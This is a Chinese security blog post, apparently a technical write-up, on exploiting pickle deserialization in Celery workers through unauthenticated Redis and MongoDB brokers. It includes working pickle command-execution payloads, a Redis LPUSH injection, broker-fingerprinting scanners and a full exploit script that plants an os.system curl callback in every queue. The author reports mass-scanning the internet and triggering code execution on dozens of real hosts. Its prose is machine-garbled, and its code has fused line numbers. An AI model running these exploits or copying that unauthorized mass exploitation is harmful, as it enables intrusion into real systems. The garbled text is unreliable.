序言
分布式系统大都须要依赖于行列步队中间件来办理异步处理、运用耦合等问题,行列步队中间件的选择又依赖于整体系统的设计和实现,的封装、通报、处理贯穿了全体系统,如果在某一个关键处理逻辑点上涌现了安全问题,那么全体分布式节点都有可能受到毁坏。
盛行的开拓措辞险些都存在序列化处理不当导致的命令实行问题,如 Python 里类的魔术方法 __reduce__() 会在 pickle 库进行反序列化的时候进行调用,PHP 中类的魔术方法 __wakup() 同样也会在实例进行反序列化的时候调用等等。

从开拓者角度看来,开拓措辞供应的数据序列化办法方便了实例工具进行跨运用通报,程序A 和 程序B 能够通过序列化数据通报办法来远程访问实例工具或者远程调用方法(如 Java 中的 RMI);而站在安全研究者角度,这种跨运用的数据通报或者调用办法可能存在工具数据修改和方法恶意调用的安全隐患。
在行列步队的实现中,数据的序列化(封装)办法就成了一颗定时炸弹,不屈安的序列化办法可能会导致数据被修改,从而引发反序列化(数据解析)后的一些列安全问题。
行列步队中间件的选择也是一大问题,常见的有 RabbitMQ,ActiveMQ,Kafka,Redis 等,而像 Redis 这种存在未授权访问问题的组件如果被攻击者所掌握,即可通过组件直接向行列步队中插入数据,轻则影响全体分布式节点的逻辑处理,重则直接插入恶意数据结合反序列化等问题对节点群进行攻击。
说了这么多,总结一下上面提到的几个安全问题:
1、各措辞中存在的序列化问题可直接导致远程命令实行;
2、行列步队的实现常常会直策应用措辞自身的序列化(或相似的)办法封装;
3、分布式系统利用的行列步队中间件种类繁多,个中某些分布式框架利用了像 Redis 这种存在着未授权访问问题的组件;
4、行列步队中的修改会直接或间接影响到分布式节点;
将这 4 个安全问题或者说是漏洞结合在一起,即可成为一种可直接入侵和毁坏分布式节点的攻击方法。那么,是否存在真正知足上述问题的实例呢?目前,已经创造了 Python 中 Celery 分布式框架确实存在这样的问题,下面我会针对上诉 4 个问题以 Celery 分布式框架为例来解释如何攻击分布式节点打出漏洞组合拳。
旧调重弹 Python 序列化
Celery 分布式框架是由 Python 措辞所编写的,为了下面更好的解释问题,以是这里首先大略的回顾一下 Python 序列化的安全问题。
1. 大略的序列化例子
Python 中有这么一个名为 pickle 的模块用于实例工具的序列化和反序列化,一个大略的例子:
1234567891011import base64
import pickle
class MyObj(object):
loa = 'hello my object'
t_obj = MyObj()
serialized = base64.b64encode(pickle.dumps(t_obj))
print('--> pickling MyObj instance {} and Base64 it\ngot \公众{}\"大众'.format(t_obj, serialized))
print('--> unpickling serialized data\nwith \"大众{}\公众'.format(serialized))
obj = pickle.loads(base64.b64decode(serialized))
print(' unpickled object is {}'.format(obj))
print('{} -> loa = {}'.format(obj, obj.loa))
因 pickle 模块对实例工具进行序列化时产生的是二进制构造数据,传输的时候常常会将其进行 Base64 编码,这样可以有效地防止字节数据丢失。上面的程序浸染是将一个 MyObj 类实例进行序列化并进行 Base64 编码然后进行解码反序列化重新得到实例的一个过程,运行程序后得到输出:
通过截图可以看到序列化前和序列化后的实例是不同的(工具地址不同),并且常日反序列化时实例化一个类实例,当前的运行环境首先必须定义了该类型才能正常序列化,否则可能会碰着找不到精确类型无法进行反序列化的情形,例如将上诉过程分文两个文件 serializer.py 和 unserializer.py,前一个文件用于实例化 MyObj 类并将其序列化然后经 Base64 编码输出,而后一个文件用于吸收一串字符串,将其 Base64 解码后进行反序列化:
123456# serializer.py
import base64
import pickle
class MyObj(object):
loa = 'hello my object'
print(base64.b64encode(pickle.dumps(MyObj())))
12345# unserializer.py
import sys
import base64
import pickle
print(pickle.loads(base64.b64decode(sys.argv[1])))
就上面所说,在反序列化时如果环境中不存在反序列化类型的定义,由于 unserializer.py 中未定义 MyObj 类,则在对 serializer.py 输出结果进行反序列化时会失落败报错,提示找不到 MyObj:
2. Trick 使得反序列化变得危险
看似反序列化并不能实例化任意工具(运行环境依赖),但有那么些 tricks 可以达到进行反序列化即可任意代码实行的效果。
如果一个类定义了 __reduce__() 函数,那么在对实在例进行反序列化的时候,pickle 会通过 __reduce__() 函数去探求精确的重新类实例化过程。(__reduce__() 函数详细文档参考)
例如这里我在 MyObj 类中定义 __reduce__() 函数:
1...class MyObj(object): loa = 'hello my object' def __reduce__(self): return (str, ('replaced by __reduce__() method', ))...
然后再实行上一节的程序过程,会直接得到输出:
这里不再报错是由于,MyObj 在进行序列化的时候,将重新构建类的过程写进了序列化数据里,pickle 在进行反序列化的时候会遵照重修过程去实行相应操作,这里是利用内置的 str 函数去操作参数 ‘replaced by __reduce__() method’ 并返回,以是成功反序列化并输出的字符串。
有了 __reduce__() 这个函数,就可以利用该特性在反序列化的时候直接实行任意代码了,如下示例代码:
12345678# evil.py
import os
import base64
import pickle
class CMD(object):
def __reduce__(self):
return (os.system, ('whoami', ))
print(base64.b64encode(pickle.dumps(CMD())))
运行得到编码后的序列化数据:
1Y3Bvc2l4CnN5c3RlbQpwMAooUyd3aG9hbWknCnAxCnRwMgpScDMKLg==
这里须要紧张的是 os.system(‘whoami’) 这个过程不是在序列化过程实行的,而是将这个过程以构造化的数据存于了序列化数据中,这里可以看一下二进制序列化数据:
12345➜ demo echo -n \公众Y3Bvc2l4CnN5c3RlbQpwMAooUyd3aG9hbWknCnAxCnRwMgpScDMKLg==\"大众 | base64 -D | xxd
0000000: 6370 6f73 6978 0a73 7973 7465 6d0a 7030 cposix.system.p0
0000010: 0a28 5327 7768 6f61 6d69 270a 7031 0a74 .(S'whoami'.p1.t
0000020: 7032 0a52 7033 0a2e p2.Rp3..
➜ demo
数据都因此 Python pickle 序列化数据构造进行整合的,详细底层协议实现可参考官方文档。
对上面的序列化数据利用 unserializer.py 进行反序列化操作时,会触发类重构操作,从何实行 os.system(‘whoami’):
历史上框架或者运用由于 Python 反序列化问题导致的任意命令实行并不少见,如 Django 低版本利用了 pickle 作为 Session 数据默认的序列化办法,在设置了利用 Cookie 进行 Session 数据存储的时候,会使得攻击者直接布局恶意 Cookie 值,触发恶意的反序列化进行任意命令实行;又一些程序可接管一串序列化数据作为输入,如 SQLMAP 之前的 –pickled-options 运行参数就可以传入由 pickle 模块序列化后的数据。虽然官方有对 pickle 模块进行安全声明,指明了不要反序列化未受信赖的数据来源,但是现实运用逻辑繁杂,常会有这样的数据可控的点涌现,也是不太好避免的。
分布式框架 Celery
回顾完 Python 序列化的问题,这时候转过来看一下 Celery 这个分布式框架。
1. 利用框架进行大略的任务下发
Celery 借助行列步队中间件进行(任务)的通报,一个大略利用 Celery 框架进行任务下发并实行的例子:
123456# celery_simple.py
from celery import Celery
app = Celery('demo', broker='amqp://192.168.99.100//', backend='amqp://192.168.99.100//')
@app.task
def add(x, y):
return x + y
Celery 推举利用 RabbitMQ 作为 Broker,这里直接在 192.168.99.100 主机上开启 RabbitMQ 做事,然后在终端利用 celery 命令起一个 worker:
1celery worker -A celery_simple.app -l DEBUG
然后另起一个 ipython 导入 celery_simple 模块中的 add() 函数,对其进行调用并获取结果:
1234In [1]: from celery_simple import add
In [2]: task = add.apply_async((4, 5))
In [3]: task.result
Out[3]: 9
2. 框架中的封装办法
本文并不关心框架的详细实现和用法,只关心的详细封装办法。在 Celery 框架中有多种可选的序列化办法:
pickle
json
msgpack
yaml
…
可以看到 Celery 框架所利用的序列化办法中含有 pickle 的序列化办法,上一部分已经解释了 Python 中 pickle 序列化办法存在的安全隐患,而 Celery 框架却支持这种办法对进行封装,并且在 4.0.0 版本以前默认利用的也是 pickle 序列化办法。
为了弄明白 Celery 的格式,这里将 Broker 换成 Redis 方便直接查看数据。
123456# celery_simple.py
from celery import Celery
app = Celery('demo', broker='redis://:@192.168.99.100:6379/0', backend='redis://:@192.168.99.100:6379/0')
@app.task
def add(x, y):
return x + y
这里先不起 worker 进程,直策应用 ipython 进行任务下发:
1In [1]: from celery_simple import addIn [2]: task = add.apply_async((4, 9))
这时候查看 Redis 里面的数据:
可以看到 Redis 里面存在两个键,celery 和 _kombu.binding.celery,这里阐明一下详细两个键的详细含义。在 Celery 中可以根据路由设置分发到不同的任务上,例如这里 add() 函数由于没有进行特殊的设置,以是其所处的行列步队为名为 celery 的行列步队,exchange 和 routing_key 值都为 celery,所有知足路由({“queue”:”celery”,”exchange”:”celery”,”routing_key”:”celery”})的都会发到该 worker 上,然后 worker 根据详细的调用要求去探求注册的函数利用参数进行调用。
而刚刚提到的 Reids 中的键 _kombu.binding.celery 表示存在一个名为 celery 的行列步队,其 exchange 和 routing_key 的信息保存在该凑集里:
而键 celery 里面存储的便是每一个 push 到行列步队里面的详细信息:
可以看到是一个 JSON 格式的数据,为了更方便的进行字段剖析,将其提出来格式化显示为:
1234567891011121314151617 \"大众body\"大众: \公众gAJ9cQAoWAMAAAB1dGNxAYhYAgAAAGlkcQJYJAAAADFkOGZhN2FlLTEyZjYtNDIyOS05ZWI5LTk5ZDViYmI5ZGFiZXEDWAUAAABjaG9yZHEETlgGAAAAa3dhcmdzcQV9cQZYBAAAAHRhc2txB1gRAAAAY2VsZXJ5X3NpbXBsZS5hZGRxCFgIAAAAZXJyYmFja3NxCU5YAwAAAGV0YXEKTlgJAAAAY2FsbGJhY2tzcQtOWAQAAABhcmdzcQxLBEsJhnENWAcAAAB0YXNrc2V0cQ5OWAcAAABleHBpcmVzcQ9OWAkAAAB0aW1lbGltaXRxEE5OhnERWAcAAAByZXRyaWVzcRJLAHUu\公众, \"大众headers\"大众: {}, \公众content-encoding\"大众: \公众binary\公众, \公众content-type\"大众: \"大众application/x-python-serialize\公众, \公众properties\公众: { \公众body_encoding\"大众: \公众base64\公众, \"大众reply_to\公众: \公众c8b55284-c490-3927-85c5-c68a7fed0525\公众, \公众correlation_id\"大众: \公众1d8fa7ae-12f6-4229-9eb9-99d5bbb9dabe\公众, \公众delivery_info\"大众: { \"大众routing_key\公众: \"大众celery\"大众, \公众exchange\"大众: \"大众celery\公众, \"大众priority\公众: 0 }, \公众delivery_mode\"大众: 2, \公众delivery_tag\"大众: \"大众027bd89a-389e-41d1-857a-ba895e6eccda\"大众 }}在上面的数据中,properties 里包含了的路由信息和标识性的 UUID 值,而个中properties.body_encoding 的值则表示主体 body 的编码办法,这里默认为 base64 编码。在 Celery 分布式框架中,worker 端在获取到数据时会根据 properties.body_encoding 的值对主体 body 进行解码,即 base64.b64decode(body),而数据中的 content-type 指明了主体(详细的任务数据)的序列化办法,由于采取了默认的配置以是这里利用的是 Python 内置序列化模块 pickle 对任务数据进行的序列化。将主体经 base64 解码和反序列化(即之前 unserializer.py 文件功能) 操作往后得到详细的任务数据:
格式化任务数据为:
123456789101112131415{
'args': (4, 9), // 通报进 celery_simple.add 函数中的参数
'timelimit': (None, None), // celery Task 任务实行韶光限定
'expires': None,
'taskset': None,
'kwargs': {},
'retries': 0,
'callbacks': None, // Task 任务回调
'chord': None,
'id': '1d8fa7ae-12f6-4229-9eb9-99d5bbb9dabe', // 任务唯一 ID
'eta': None,
'errbacks': None,
'task': 'celery_simple.add', // 任务实行的详细方法
'utc': True
}
任务数据标明了哪一个注册的 Task 将会被调用实行,其实行的参数是什么等等。这里任务数据已经不在主要,从上面这个剖析过程中我们已经得到了这么一个结论:Celery 分布式节点 worker 在获取到数据后,默认配置下会利用 pickle 对主体进行反序列化。
3. 布局恶意数据
那么如果在 Broker 中添加一个假任务,其主体包含了之前能够进行命令实行的序列化数据,那么在 worker 端对其进行反序列化的时候是不是就能够实行任意代码了呢?下面就来证明这个假设。
这里直接对主体 body 进行布局,根据第一节回顾的 Python 序列化利用办法,布局 Payload 使得在反序列化的时候能够实行命令并将结果进行返回(方便后面验证):
1234567import base64
import pickle
import commands
class LS(object):
def __reduce__(self):
return (commands.getstatusoutput, ('ls', ))
print(base64.b64encode(pickle.dumps(LS())))
运行程序天生详细 Payload 数据:
1Y2NvbW1hbmRzCmdldHN0YXR1c291dHB1dApwMAooUydscycKcDEKdHAyClJwMwou
利用刚才剖析过的数据,将主体的值更换为上面天生的 Payload 得到布局的假:
123456789101112131415161718{
\"大众body\"大众: \"大众Y2NvbW1hbmRzCmdldHN0YXR1c291dHB1dApwMAooUydscycKcDEKdHAyClJwMwou\"大众,
\公众headers\公众: {},
\"大众content-encoding\"大众: \"大众binary\"大众,
\公众content-type\"大众: \"大众application/x-python-serialize\公众,
\公众properties\"大众: {
\"大众body_encoding\"大众: \公众base64\"大众,
\"大众reply_to\公众: \"大众c8b55284-c490-3927-85c5-c68a7fed0525\公众,
\"大众correlation_id\"大众: \公众1d8fa7ae-12f6-4229-9eb9-99d5bbb9dabe\"大众,
\"大众delivery_info\"大众: {
\"大众routing_key\公众: \公众celery\公众,
\公众exchange\"大众: \"大众celery\"大众,
\"大众priority\"大众: 0
},
\公众delivery_mode\"大众: 2,
\"大众delivery_tag\公众: \"大众027bd89a-389e-41d1-857a-ba895e6eccda\"大众
}
}
将假通过 Redis 命令行直接添加到 celery 行列步队任务中:
1127.0.0.1:6379> LPUSH celery '{\公众body\"大众:\公众Y2NvbW1hbmRzCmdldHN0YXR1c291dHB1dApwMAooUydscycKcDEKdHAyClJwMwou\公众,\公众headers\"大众:{},\"大众content-encoding\"大众:\公众binary\公众,\公众content-type\"大众:\公众application/x-python-serialize\"大众,\"大众properties\"大众:{\"大众body_encoding\"大众:\公众base64\公众,\"大众reply_to\公众:\"大众c8b55284-c490-3927-85c5-c68a7fed0525\公众,\"大众correlation_id\"大众:\"大众1d8fa7ae-12f6-4229-9eb9-99d5bbb9dabe\"大众,\"大众delivery_info\公众:{\"大众routing_key\"大众:\"大众celery\"大众,\"大众exchange\公众:\"大众celery\公众,\"大众priority\"大众:0},\"大众delivery_mode\"大众:2,\公众delivery_tag\公众:\"大众027bd89a-389e-41d1-857a-ba895e6eccda\"大众}}'
查看一下 celery 行列步队中的情形:
然后起一个 Celery worker 端加载之前的 celery_simple.py 中的 APP,worker 会从行列步队中取消息进行处理,当处理到插入的假时,会由于无法解析任务数据而报错:
worker 端经由 pickle.loads(base64.b64decode(body)) 处理对布局的 Payload 进行的反序列化,由于 Payload 在反序列化时会实行命令并返回实行构造,以是这里 worker 端直接将命令实行的结果当作了任务的详细数据,同时也证明了在 Celery 分布式框架默认配置下(利用了 pickle 序列化办法),进行恶意注入会导致 worker 端远程命令实行。
利用薄弱的 Broker 代理进行分布式节点攻击
前面已经证明了 Celery 构建的运用中,如果攻击者能够掌握 Broker 往行列步队中添加任意数据,那么即可布局恶意的主体数据,使得 worker 端在对其进行反序列化的时候触发漏洞导致任意命令实行。全体流程为:
1. 检测 Celery 运用中 Broker 特色
那么对付这样一个分布式运用,攻击者是否能够轻易的掌握 Broker 呢?在 Celery 支持的行列步队中间件中含有 Reids、MongoDB 这种存在未授权访问问题的做事,因此当一个基于 Celery 框架实现的分布式运用利用了 Redis 或者 MongoDB 作为 Broker 时,极有可能由于中间件未授权访问的问题而被攻击者利用,进行恶意的注入。
以是,如何去探求既存在未授权访问问题,同时又作为 Celery 分布式运用 Broker 的那些薄弱做事呢?根据上一节的剖析,已经得知如果 Redis 作为 Broker 时,其 KEYS 值会存在固定的特色:
123_kombu.binding.
celery.
unacked.
而如果是 MongoDB 作为 Broker,在其数据库中会存在这样的 collections:
123messages
messages.broadcast
messages.routing
个中 messages.routing 含有每一个行列步队以及路由的信息,messages 则存储了所有行列步队中的数据。
那么就可以根据不同中间件做事的特色去验证一个 Redis 或者 MongoDB 是否作为 Broker 存在于 Celery 分布式运用中。
针对 Redis 和 MongoDB 可编写出相应的验证脚本,其代码关键部分为:
123456789101112131415161718# celery_broker_redis_check.py
...
CELERY_KEYS = ['celery', 'unacked', '_kombu.binding']
def run(seed):
try:
ip, port = seed.split(':')
except ValueError as ex:
ip, port = seed, 6379
r = redis.Redis(ip, int(port), socket_connect_timeout=5)
keys = r.keys()
info = dict(succeed=False, keys=list())
for _k in CELERY_KEYS:
for key in keys:
if _k in key:
info['succeed'] = True
info['keys'].append(key)
return info
...
针对未授权的 Redis 做事,直接对所有 KEYS 值进行特色匹配,如果碰着其 KEY 值包含有 ['celery', 'unacked', '_kombu.binding'] 中任意一个字符串即可判断该做事作为了 Celery 运用的行列步队中间件。
123456789101112131415161718192021# celery_broker_mongodb_check.py
...
CELERY_COLLECTIONS = ['messages.routing', 'messages.broadcast']
def run(seed):
try:
ip, port = seed.split(':')
except ValueError as ex:
ip, port = seed, 27017
conn = pymongo.MongoClient(ip, int(port), connectTimeoutMS=2000,
serverSelectionTimeoutMS=2000)
dbs = conn.database_names()
info = dict(succeed=False, results=dict())
for db in dbs:
colnames = conn.get_database(db).collection_names()
for _col in CELERY_COLLECTIONS:
if any(_col in colname for colname in colnames):
info['succeed'] = True
info['results'][db] = colnames
continue
return info
...
而由于 Celery 在利用 MongoDB 的时候须要指天命据库,以是须要对存在未授权访问的 MongoDB 中的每一个数据库都进行检测,判断个中的凑集名称是否符合条件,若符合即可判断其作为了行列步队中间件。
2. 利用脚本进行注入攻击分布式节点
利用上面两个脚本在本地环境进行测试:
这里要解释的一个问题便是,不是所有利用了 Celery 分布式框架的运用都配置了 pickle 的序列化办法,若其只配置了 JSON 等其他安全的序列化办法,则就无法利用 Python 反序列化进行命令实行了。
一个大略的真对 Redis Broker 类型的攻击脚本:
12345678910111213141516171819202122232425262728293031323334# celery_broker_redis_exp.py
import re
import json
import redis
import pickle
import base64
evil_command = 'curl http://127.0.0.1:8000/{}'
def create_evil_task_body(command, body_encoding='base64'):
class Command(object):
def __reduce__(self):
import os
return (os.system, (command, ))
if body_encoding == 'base64':
return base64.b64encode(pickle.dumps(Command()))
def create_evil_message(body):
message = {\"大众body\"大众: body,\"大众headers\"大众: {},\"大众content-encoding\"大众: \"大众binary\"大众,\"大众content-type\公众: \公众application/x-python-serialize\"大众,\公众properties\"大众: {\"大众body_encoding\"大众: \"大众base64\"大众,\"大众reply_to\"大众: \公众c8b55284-c490-3927-85c5-c68a7fed0525\公众,\"大众correlation_id\"大众: \公众1d8fa7ae-12f6-4229-9eb9-99d5bbb9dabe\"大众,\"大众delivery_info\"大众: {\"大众routing_key\公众: \"大众celery\"大众,\"大众exchange\"大众: \公众celery\"大众,\公众priority\公众: 0},\"大众delivery_mode\公众: 2,\公众delivery_tag\"大众: \"大众027bd89a-389e-41d1-857a-ba895e6eccda\公众}}
return json.dumps(message)
def exp(seed):
try:
ip, port = seed.split(':')
except ValueError as ex:
ip, port = seed, 6379
r = redis.Redis(ip, int(port), socket_connect_timeout=5)
keys = r.keys()
info = dict(succeed=False, keys=list())
for key in keys:
matched = re.search(r'^_kombu\.binding\.(?P<queue>.)', key)
if matched:
queue_name = matched.group('queue')
message = create_evil_message(
create_evil_task_body(evil_command.format(queue_name))
)
r.lpush(queue_name, message)
exp('192.168.99.100')
为了测试攻击脚本,首先须要在 192.168.99.100 上开启 Redis 做事并配置为外部可连且无需验证,然后在本地起一个 SimpleHTTPServer 用于吸收节点实行命令的要求,末了可直接通过终端配置 Broker 为 Redis 起一个默认的 worker:
1celery worker --broker='redis://:@192.168.99.100/0'
全体过程演示:
可以看到通过往行列步队中插入恶意,被分布式节点 worker 获取解析后触发了反序列化漏洞导致了远程命令实行。
互联网案例检测
上一节内容通过实际的代码和演示过程解释了如何通过特色去验证行列步队中间件是否作为了 Celery 分布式框架的一部分,那么互联网中是否真的存在这样的实例呢。这里再次理一下针对 Celery 分布式节点攻击的思路:
1、找寻那有着未授权访问且用于 Celery 队列传递的中间件做事;
2、往行列步队中插入恶意数据,因无法确定目标是否许可进行 pickle 办法序列化,以是会进行 Payload 盲打;
3、等待分布式节点取走进行解析,触发反序列化漏洞实行任意代码;
首先针对第一点,利用脚本去扫描互联网中存在未授权访问且用于 Celery 队列传递的 Redis 和 MongoDB 做事。通过扫描得到未授权访问的 Redis 有 14000+ 个,而未授权访问的 MongoDB 同样也有 14000+ 个。
针对 14000+ 个存在未授权访问的 Redis 做事利用上一节的验证脚本(celery_broker_redis_check.py)进行批量检测,得到了 86 个目标知足哀求,扫描过程截图:
同样的针对 14000+ 个存在未授权访问的 MongoDB 做事进行批量检测,得到了 22 个目标知足哀求,扫描过程截图:
根据结果来看,虽然终极知足条件的目标数量并不多,但是这足以解释利用注入对分布式节点进行攻击的思路是可行的,并且在行列步队中间件后面有多少个 worker 节点并不知道,危害的不仅仅是 Broker 而是后面的全体节点。
由于详细的攻击 Payload 利用了盲打,以是不能直接获取远端成功实行命令的结果,以是这里借助外部做事来监听连接要求并进行标识,若一个分布式节点成功触发了漏洞,它会去要求外部做事器。
针对 Redis 检测过程截图:
个中做事器上收到了 32 个成功实行命令并回连的要求:
同样的针对 MongoDB 检测过程截图:
个中做事器上成功收到 3 个成功实行命令并回连的要求:
从末了得到的数据来看,成功触发漏洞导致远程命令实行的目标数量并不多,而且全体利用条件也比较苛刻,但就结论而言,已经直接解答了文章一开始所提出的疑问,利用多个漏洞对分布式节点进行攻击的思路也成功得到了实践。
(写了那么多,更多的想把自己平常折腾和研究的一些点给分享出来,理论运用到实战,没有案例的漏洞都不能称之为好漏洞。将一些想法和思路付之于实践,究竟会得到验证。)
干系链接
Celery 分布式框架项目 – http://www.celeryproject.org/
Python “pickle” 模块文档 – https://docs.python.org/2/library/pickle.html
Django 远程命令实行漏洞详解 – http://rickgray.me/2015/09/12/django-command-execution-analysis.html